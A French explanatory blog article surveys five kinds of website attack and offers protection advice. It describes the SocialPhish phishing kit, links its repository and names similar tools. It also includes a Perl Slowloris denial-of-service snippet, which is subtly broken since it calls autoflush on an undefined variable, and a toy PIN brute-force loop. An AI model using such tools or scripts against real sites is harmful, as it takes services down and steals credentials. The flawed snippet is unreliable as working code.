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Type d’Attaque Informatique Site Web en 2024 – Les 5 menaces principales à surveiller

Sommaire

Cyberattaques sur un site web : les 5 types les plus courants

  • Le phishing.
  • Les malwares.
  • Les attaques par déni de service (DoS) ou déni de service distribuée (DDoS)
  • Les attaques visant les mots de passe.
  • Les attaque de type « Man In The Middle »

Ce que vous devez retenir des attaques Web 2024 :

  • Les attaques de phishing utilisent des sites factices pour voler des informations personnelles.
  • Les malwares sont déployés pour accéder ou endommager les systèmes des victimes.
  • Les attaques DoS/DDoS surchargent les sites, les rendant indisponibles pour les utilisateurs.
  • Les attaques de type “Man In The Middle” interceptent les communications pour voler des données.

 

Explication des différentes attaques sur site web

1. Les attaques par hameçonnage (phishing):

Dans ces eaux troubles, l’attaquant est un pêcheur patient, lançant sa ligne avec un appât des plus alléchants.

Le but ? Vous convaincre de mordre à l’hameçon, que ce soit en vous leurrant vers un site qui est la copie conforme de votre banque, mais qui, en réalité, est aussi faux qu’une promesse de vendeur de tapis, ou en vous persuadant de révéler vos précieuses informations personnelles. “Entrez votre mot de passe pour vérifier votre compte”, susurre l’appât. Ah, si seulement c’était aussi innocent qu’il y paraît.

SocialPhish, le script de phishing par exellence

SocialPhish est un outil qui permet aux attaquants de monter facilement une opération de phishing. Il propose une panoplie de pages de connexion factices des plus populaires réseaux sociaux et sites web.

À l’instar d’un magicien révélant un lapin dans son chapeau, SocialPhish dévoile une copie presque parfaite de la page que vous pensiez visiter, sauf que le tour de magie finit en votre détriment.

Ces scripts sont conçus pour être simples d’utilisation, permettant même à ceux avec un minimum de connaissances techniques de lancer leur propre campagne de phishing. Voici comment ils opèrent généralement :

  1. Mise en place rapide : L’attaquant déploie un serveur web local ou distant et choisit le site cible parmi une liste fournie par SocialPhish.
  2. Distribution : Des liens vers la fausse page sont ensuite distribués via email, SMS, ou réseaux sociaux, souvent masqués pour paraître légitimes.
  3. Collecte : Les identifiants saisis par les victimes sont capturés et stockés pour être utilisés à mauvais escient par l’attaquant.

Source : https://github.com/pvanfas/socialphish

Autres outils dans l’arsenal du phisher

À côté de SocialPhish, d’autres outils comme PhishX ou Gophish offrent des fonctionnalités similaires, chacun avec sa propre spécialité, que ce soit la facilité d’emploi, la personnalisation des campagnes ou l’automatisation des envois d’emails leurrants.

2. Attaques par logiciels malveillants :

Dans ce cas, l’attaquant tente d’installer un logiciel malveillant sur l’ordinateur de la victime afin d’accéder à ses données ou à son système.

3. Attaques par déni de service (DoS) ou par déni de service distribué (DDoS) :

Ces attaques impliquent que l’attaquant tente de surcharger un système ou un site web de demandes, le rendant indisponible pour les utilisateurs légitimes.

Le script le plus utilisé pour du DDOS

Parmi les outils utilisés pour orchestrer ces attaques, Slowloris détient une place de choix. Son principe ? D’une subtilité redoutable, il envoie des requêtes HTTP à un rythme tellement lent que le serveur, pris de court, garde ces connexions ouvertes.

Exemple de script
#!/usr/bin/perl
# Petit exemple de code Slowloris, à titre éducatif uniquement
use IO::Socket;
use strict;

my $sock;
my $target = "www.exemple.com";
my $port = 80;
my $connection = IO::Socket::INET->new(
    PeerAddr => $target,
    PeerPort => $port,
    Proto => 'tcp',
    Timeout => 1
) or die "Impossible de se connecter à $target:$port.";

$sock->autoflush(1); # Assure que les données soient envoyées immédiatement

print $connection "GET / HTTP/1.1\r\n";
print $connection "Host: $target\r\n";
print $connection "User-Agent: Slowloris\r\n";

# Maintient la connexion ouverte
while(1) {
    print $connection "X-a: b\r\n";
    sleep(1);
}

4. Attaques visant les mots de passe (Attaque Bruteforce):

L’objectif ici, pour notre ami l’attaquant, est de jouer à un jeu de devinettes particulièrement malveillant. Il va essayer, avec une persévérance digne d’un marathonien, de deviner le sésame qui protège vos comptes.

Il utilise pour cela des listes de mots de passe courants (oui, “123456” ou “password”, on parle de vous), ou s’arme de logiciels capables de générer des millions de combinaisons à la vitesse de l’éclair.

Mais comment ça marche, concrètement ?

Imaginez une petite boîte noire magique, qui s’appellerait, disons, “Brutus le Crackeur”. Brutus est très doué pour essayer rapidement toutes les combinaisons de lettres, chiffres et symboles imaginables.

Si on devait illustrer son travail, ça donnerait quelque chose comme :

  1. Brutus commence par “Aaaaaa”.
  2. Puis il essaye “Aaaaab”,
  3. Ensuite “Aaaaac”, et ainsi de suite…

Jusqu’à ce qu’il tombe sur le bon mot de passe, par pure force de calcul.

Exemple de script pour tester la robustesse de vos mots de passe:
# Ceci est un exemple éducatif simple et ne doit pas être utilisé pour des activités malveillantes.
def brute_force_pin(cible):
    for code in range(10000):  # 0000 à 9999
        tentative = str(code).zfill(4)  # Ajoute des zéros au début si nécessaire pour avoir 4 chiffres
        print(f"Tentative avec le code: {tentative}")
        if tentative == cible:
            print(f"Code PIN trouvé : {tentative}")
            return True
    return False

# Remplacez '1234' par le code PIN que vous "cherchez" (dans un contexte éducatif).
if brute_force_pin('1234'):
    print("La recherche du code PIN a réussi !")
else:
    print("La recherche du code PIN a échoué.")

le code str(code).zfill(4), fait son entrée triomphante. Il veille à ce que chaque tentative soit impeccablement présentée, en quatre chiffres, ajoutant des zéros devant si nécessaire, pour assurer l’élégance et la dignité de chaque numéro essayé.

Cependant, je tiens à rappeler que cette démonstration est conçue pour éveiller votre curiosité et illustrer le fonctionnement théorique d’une attaque par force brute.

Nous ne sommes certainement pas ici pour encourager l’utilisation de cette connaissance dans un but malveillant.

Après tout, dans la pratique, les défenses des sites web sont bien préparées à repérer de telles tentatives, avec des mécanismes comme la limitation du nombre d’essais et les captchas, qui agissent un peu comme le videur vigilant d’un club sélect, prêt à refuser l’entrée aux indésirables.

Et comment se protéger ?

Pour contrer Brutus et ses amis, il y a quelques astuces simples mais efficaces :

  • Utilisez des mots de passe longs et complexes. Plus c’est long et bizarre, mieux c’est. Pensez à une phrase secrète connue de vous seul.
  • Activez l’authentification à deux facteurs (2FA). C’est comme avoir une double serrure sur votre porte.
  • Ne recyclez pas vos mots de passe. Un mot de passe par compte, c’est la règle. Sinon, c’est comme donner un trousseau de clés identiques pour toutes vos maisons.

5. Les attaques de type “Man in the Middle” (MitM) :

L’attaquant intercepte la communication entre la victime et une autre partie, comme un site web ou un service en ligne, afin d’avoir accès aux données de la victime.

Vidéo explicative et détaillée de cette attaque :

Autres articles :

Les chiffres de 2024 sur les cyberattaques

Année Coût annuel des cyberattaques (USD) Pourcentage d’augmentation Statistiques supplémentaires
2024 9500 milliards 19 % – Nouveaux logiciels malveillants : 8,77 millions
– 91 % des entreprises britanniques ont subi une attaque de phishing
2025 10500 milliards 10,5 %
2026 11300 milliards 7,6 %
2027 12400 milliards 9,7 %
2028 13800 milliards 11 %
2029 15600 milliards 13 %
2030 17900 milliards 15 %

Comment Appelle-t-on la catégorie d’attaque informatique de site web ?

La catégorie d’attaque de site Web est appelée cyberattaque. Les cyberattaques peuvent prendre de nombreuses formes différentes, mais les plus courantes sont le phishing, les logiciels malveillants, les DoS/DDoS, les mots de passe et les attaques de type “Man in the Middle”. Ces types d’attaques peuvent être utilisés pour voler des informations personnelles, compromettre des systèmes ou rendre des sites web indisponibles.

Quelle est la meilleure façon de se protéger contre une cyberattaque ?

Il n’existe pas de réponse unique à cette question, car la meilleure façon de se protéger contre une cyberattaque dépend du type d’attaque.

Cependant, certains conseils généraux peuvent vous aider à vous protéger contre tous les types de cyberattaques, soyez prudent lorsque vous cliquez sur des liens ou ouvrez des pièces jointes provenant de sources inconnues, gardez vos logiciels et votre système d’exploitation à jour utilisez des mots de passe forts et activez l’authentification à deux facteurs lorsqu’elle est disponible.

En outre, vous pouvez installer un logiciel de sécurité sur votre ordinateur pour vous protéger contre les logiciels malveillants et autres menaces.

Que devez-vous faire si vous pensez être victime d’une attaque ?

Si vous pensez être victime d’une attaque, la première chose à faire est d’essayer de déterminer le type d’attaque. Cela vous aidera à comprendre les mesures que vous devez prendre pour vous protéger.

Si vous n’êtes pas sûr, vous pouvez contacter un professionnel de la cybersécurité pour obtenir de l’aide. Une fois que vous avez identifié le type d’attaque, vous pouvez prendre des mesures pour atténuer les dommages et vous protéger contre d’autres attaques.

Ces mesures varieront en fonction du type d’attaque, mais peuvent inclure la modification de vos mots de passe, l’exécution d’analyses de sécurité ou la restauration de vos données à partir de sauvegardes.

Comment Appelle-t-on ce type de pirate informatique ?

Il n’y a pas de réponse unique à cette question, car il existe de nombreux types de pirates différents. Cependant, le type de pirate qui lance généralement des cyberattaques est connu sous le nom de “black hat hacker”.

Les “black hat hackers” sont ceux qui utilisent leurs compétences pour exploiter des systèmes ou des personnes à des fins personnelles. Ces pirates peuvent être motivés par l’argent, l’idéologie politique ou simplement le défi de pénétrer dans un système. Si certains pirates informatiques travaillent seuls, d’autres peuvent faire partie d’organisations ou de groupes criminels.

Michel Labise
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